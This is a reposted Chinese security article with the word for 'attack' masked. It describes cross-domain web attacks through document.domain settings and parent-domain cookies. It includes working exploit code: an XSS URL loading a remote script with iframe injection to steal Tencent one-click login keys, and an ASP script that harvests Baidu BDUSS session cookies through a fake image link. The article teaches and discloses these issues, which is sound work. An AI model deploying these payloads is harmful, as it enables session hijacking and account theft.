浅谈跨域WEB***

一直想说说跨域web***这一律念,先前积累了一些案例和经验,因此想写这么一篇文档让你们了解一下跨域web***,跨域web***指的是利用网站跨域安全设置缺陷进行的web***,有别于传统的***,跨域web***能够从网站某个不重要的业务直接***和影响核心业务。javascript

传统的安全思惟教会咱们按资产、功能等需求划分核心业务,优先保护核心业务等,非核心业务的安全等级通常没有核心业务高,给咱们错觉是非核心业务受到***的话,所形成损失不会很大,也不会影响到核心业务,因此让安全工做者了解跨域web***这一律念仍是很是有意义的。php

0×01 基于ajax跨域设置的跨域***html

使用ajax技术让人头痛的地方就是如何跨域,受同源策略所限不一样域名包括子域名在内是没法进行AJAX请求的,随后衍生出一类技术能够经过设置document.domain实现跨域。如a.test.com和b.test.com,当两个网站经过javascript操做DOM接口 document.domain=’test.com’ 将网站的域设置为test.com后,两个网站就处于同一个域内,能够进行各类跨域操做。在开发人员方面这是很方便的跨域技术,可是在***者眼中这简直就是一个大后门,***只须要找到*.test.com下任意一个XSS漏洞,在任意一个子域名里的网页均可以跨域***a.test.com和b.test.com。java


ajax跨域设置另一个重点是这种跨域设置还会影响到窗口引用关系的同源策略,如腾讯微博网站进行了document.domain=’qq.com’的跨域设置,咱们能够针对腾讯微博作个实验,在本身的腾讯微博http://t.qq.com/中发任意一个*.qq.com的网站的连接(如:http://www.qq.com),在腾讯微博中打开这个网站,而后在地址栏内用javascrit伪协议运行以下的脚本,你会发现腾讯微博所在的网页被注入了一个alert提示框:web

javascript:window.opener.eval('alert(/xss/)');ajax

最后得出结论,因为腾讯微博网站进行了跨域设置,因此*.qq.com下的任意一个和腾讯微博有窗口引用关系的网页,均可以往腾讯微博跨域注入脚本运行。跨域

案例:腾讯单点登陆系统跨域劫持漏洞浏览器

QQ的客户端安装了一个快速登陆插件,在客户端已登陆且QQ.exe在运行的状态下,这个快速登陆插件能够自动生成一个和QQ号对应的密钥,在IE浏览器访问QQ网站的各个应用时经过这个密钥能够免密码一键登陆网站。我通过分析发现,这个快速登陆插件最大的安全措施是生成密钥的关键函数设置了一个信任域xui.ptlogin2.qq.com,也就是在xui.ptlogin2.qq.com的网页中咱们才可使用这个插件生成密钥。快速登陆插件的这个信任域安全措施本意是阻止其余非安全域的网页调用这个插件,而开发人员却在xui.ptlogin2.qq.com的一个网页写入了document.domain=’qq.com’的跨域设置,结果致使这个信任域形同虚设。经过QQ任意分站的一个XSS漏洞咱们就能***xui.ptlogin2.qq.com,首先给分站的网页进行跨域设置,而后经过框架页嵌入xui.ptlogin2.qq.com的跨域设置页,因为两个网页都设置了同一个域,同源策略生效,那么就能够跨域操做框架注入脚本到xui.ptlogin2.qq.com的域内运行。部分***代码以下:安全

http://product.tech.qq.com/simp_search.php?keyword="></script><script/src=http://127.0.0.1/xss.js></script>服务器

xss.js的内容:

window.name ='......' // xui.ptlogin2.qq.com域内运行的***脚本省略
document.domain='qq.com'; //跨域设置
function exploit(){crossQQdomain.location = "javascript:eval(window.parent.name);void(0)";} //在id为crossQQdomain的框架中经过伪协议注入脚本
document.write("<iframe id='crossQQdomain' src='http://xui.ptlogin2.qq.com/*.html' onload=exploit()></iframe>");

经过window.name内设置的是调用快速登陆插件***脚本代码,被***者访问了咱们的跨站连接后,咱们就能够获取到QQ的一键登陆密钥,后果不可想象。

0×02 基于cookie安全的跨域***

之前关于csrf的文档提过cookie的“同源策略”,实际上这个只是含糊的说明了cookie的domain字段的做用。cookie的domain字段和浏览器约定俗成,如通常cookie的domain字段被默认设置为www.test.com, 二级域名*.test.com下就没法访问这个cookie,因此不少网站就将cookie的domain字段设置为.test.com解决二级域名的cookie读取问题。

案例:第三方分站沦陷致使的百度cookie安全问题

在百度的passport登陆之后,百度会给客户端设置一个名为BDUSS的cookie值,这个值的domain字段是.baidu.com,以下:

set-cookie: BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com

这个cookie是百度众多的二级域名共享的身份认证cookie,在某个巧合下我发现了百度第三方网站http://zhishang.baidu.com的漏洞,控制了zhishang.baidu.com的主机,这个网站的域名恰好属于百度的子域名,那么服务端是能够收到BDUSS这个关键cookie的,因为主机是IIS,因而写了个简单的收集HTTP请求头中cookie值的asp脚本,部分***代码以下:

<%
Dim sp,i,rf
sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #经过服务器变量获取HTTP请求头中的COOKIE值
rf = Request.ServerVariables("HTTP_REFERER")
For i=0 to UBound(sp)
if instr(sp(i),"BDUSS")>0 then
txtfile=server.mappath("log.txt")
set fso = CreateObject("Scripting.FileSystemObject")
set MyFile = fso.opentextfile(txtfile,8,True,0)
MyFile.Writeline(date()&" "&time()& " "& rf)
MyFile.Writeline(sp(i)& Chr(13))
MyFile.Close
set fso = nothing
Response.cookies("BDUSS")="delete"
Response.cookies("BDUSS").Path="/"
Response.cookies("BDUSS").Expires=(now()-1)
Response.cookies("BDUSS").Domain = ".baidu.com"
end if
next
response.redirect "http://static.tieba.baidu.com/tb/editor/p_w_picpaths/tsj/t_0028.gif" # 302转跳到真实的图片
%>

将http://zhishang.baidu.com/c.asp#.gif(#是url注释)这样的连接当成图片发布在百度贴吧、百度HI等的帖子或日志中,被***者若是访问了嵌入了相似图片连接的网页,浏览器将会向zhishang.baidu.com的脚本发起一个GET请求,这个请求会带上BDUSS值的cookie,服务端的脚本获取这个cookie后,***者就能够在另外一方利用这个cookie伪造被***者的身份使用百度相关的服务。

0×03 跨域web***的思考

跨域web***还有不少种,本文只提到了危害比较大的两种,案例中所提到的漏洞也已经修复。本文没有再提到这类***的防护措施,由于这类web***已经有别于传统的单点***,实际上国内外各大网站和web程序都存在相似的安全问题,这类安全问题不是一个单独的个例,而是从网站架构开始就须要考虑的安全问题。

本文的目的并非交你们如何利用跨域web***,而是但愿你们经过这类安全问题思考更多,让你们意识到现实的网络并无绝对的安全,咱们面临的web安全问题依然严峻,应用和安全是一个对立面,咱们须要在应用和安全中间找到一个平衡点。

浅谈跨域WEB***:http://www.80sec.com/cross_domain_attack.html

相关文章
相关标签/搜索